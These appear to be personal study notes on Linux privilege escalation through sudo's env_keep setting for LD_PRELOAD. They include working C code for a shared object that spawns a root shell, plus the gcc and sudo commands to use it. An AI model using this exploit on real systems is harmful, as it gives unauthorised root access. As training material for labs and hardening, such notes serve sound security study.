### Leverage LD_PRELOAD
On some systems, you may encounter the `LD_PRELOAD` environment option.
![[Pasted image 20250616201310.png]]
- `LD_PRELOAD` is a function that allows any program to use shared libraries.
- If the `env_keep` option is enabled, we can generate a shared library which will be loaded and executed before the program is run.
- `LD_PRELOAD` option will be ignored if the real user ID is different from the effective user ID.
**Steps of this privesc vector can be summarized as follows**:
1. Check for `LD_PRELOAD` with the `env_keep` option
2. Write a simple C code compiled as a share object (`.so` extension file)
3. Run the program with `sudo` rights and `LD_PRELOAD` option pointing to our `.so` file.
The C code will spawn a root shell and can be written as follows:
```C
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```
Save this code as `shell.c` and compile it using `gcc` into a shared object file using the following parameters:
```bash
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
```
We can now use this shared object file when launching any program our user can run with `sudo`. For example, `Apache2`, `find`, or almost any of the programs we can run with `sudo` can be used.
This will result in a shell spawn with root privileges
```bash
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
```